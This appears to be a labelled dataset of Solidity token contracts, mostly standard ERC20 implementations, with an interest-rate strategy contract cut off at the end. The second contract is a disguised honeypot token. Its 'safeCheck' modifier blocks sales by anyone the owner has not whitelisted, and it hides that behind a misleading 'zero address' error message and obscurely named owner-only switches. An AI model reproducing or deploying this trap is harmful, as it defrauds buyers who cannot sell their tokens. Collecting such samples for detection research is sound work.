// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_LABS(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract vHIGH is ERC20 {
constructor(address minter) ERC20("voucher HIGH", "vHIGH"){
uint256 amount = 300000 * 1e18; //decimals 18
_mint(minter, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | True | [
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|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bitscors' contract
//
// Deployed to : 0x479ccD67BF03071CD72C5Cc301933c3b83494C24
// Symbol : BTOS
// Name : Bitscors
// Total supply: 30000000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Bitscors is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bitscors () public {
symbol = "BTOS";
name = "Bitscors";
decimals = 8;
_totalSupply = 30000000000000000000000000000;
balances[0x479ccD67BF03071CD72C5Cc301933c3b83494C24] = _totalSupply;
Transfer(address(0),0x479ccD67BF03071CD72C5Cc301933c3b83494C24, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IReserveInterestRateStrategy} from '../../interfaces/IReserveInterestRateStrategy.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
/**
* @title DefaultReserveInterestRateStrategy contract
* @notice Implements the calculation of the interest rates depending on the reserve state
* @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE`
* point of utilization and another from that one to 100%
* - An instance of this same contract, can't be used across different Umee markets, due to the caching
* of the LendingPoolAddressesProvider
* @author Umee
**/
contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy {
using WadRayMath for uint256;
using SafeMath for uint256;
using PercentageMath for uint256;
/**
* @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates.
* Expressed in ray
**/
uint256 public immutable OPTIMAL_UTILIZATION_RATE;
/**
* @dev This constant represents the excess utilization rate above the optimal. It's always equal to
* 1-optimal utilization rate. Added as a constant here for gas optimizations.
* Expressed in ray
**/
uint256 public immutable EXCESS_UTILIZATION_RATE;
ILendingPoolAddressesProvider public immutable addressesProvider;
// Base variable borrow rate when Utilization rate = 0. Expressed in ray
uint256 internal immutable _baseVariableBorrowRate;
// Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _variableRateSlope1;
// Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _variableRateSlope2;
// Slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _stableRateSlope1;
// Slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _stableRateSlope2;
constructor(
ILendingPoolAddressesProvider provider,
uint256 optimalUtilizationRate,
uint256 baseVariableBorrowRate,
uint256 variableRateSlope1,
uint256 variableRateSlope2,
uint256 stableRateSlope1,
uint256 stableRateSlope2
) public {
OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate;
EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate);
addressesProvider = provider;
_baseVariableBorrowRate = baseVariableBorrowRate;
_variableRateSlope1 = variableRateSlope1;
_variableRateSlope2 = variableRateSlope2;
_stableRateSlope1 = stableRateSlope1;
_stableRateSlope2 = stableRateSlope2;
}
function variableRateSlope1() external view returns (uint256) {
return _variableRateSlope1;
}
function variableRateSlope2() external view returns (uint256) {
return _variableRateSlope2;
}
function stableRateSlope1() external view returns (uint256) {
return _stableRateSlope1;
}
function stableRateSlope2() external view returns (uint256) {
return _stableRateSlope2;
}
function baseVariableBorrowRate() external view override returns (uint256) {
return _baseVariableBorrowRate;
}
function getMaxVariableBorrowRate() external view override returns (uint256) {
return _baseVariableBorrowRate.add(_variableRateSlope1).add(_variableRateSlope2);
}
/**
* @dev Calculates the interest rates depending on the reserve's state and configurations
* @param reserve The address of the reserve
* @param liquidityAdded The liquidity added during the operation
* @param liquidityTaken The liquidity taken during the operation
* @param totalStableDebt The total borrowed from the reserve a stable rate
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param averageStableBorrowRate The weighted average of all the stable rate loans
* @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
* @return The liquidity rate, the stable borrow rate and the variable borrow rate
**/
function calculateInterestRates(
address reserve,
address uToken,
uint256 liquidityAdded,
uint256 liquidityTaken,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
external
view
override
returns (
uint256,
uint256,
uint256
)
{
uint256 availableLiquidity = IERC20(reserve).balanceOf(uToken);
//avoid stack too deep
availableLiquidity = availableLiquidity.add(liquidityAdded).sub(liquidityTaken);
return
calculateInterestRates(
reserve,
availableLiquidity,
totalStableDebt,
totalVariableDebt,
averageStableBorrowRate,
reserveFactor
);
}
struct CalcInterestRatesLocalVars {
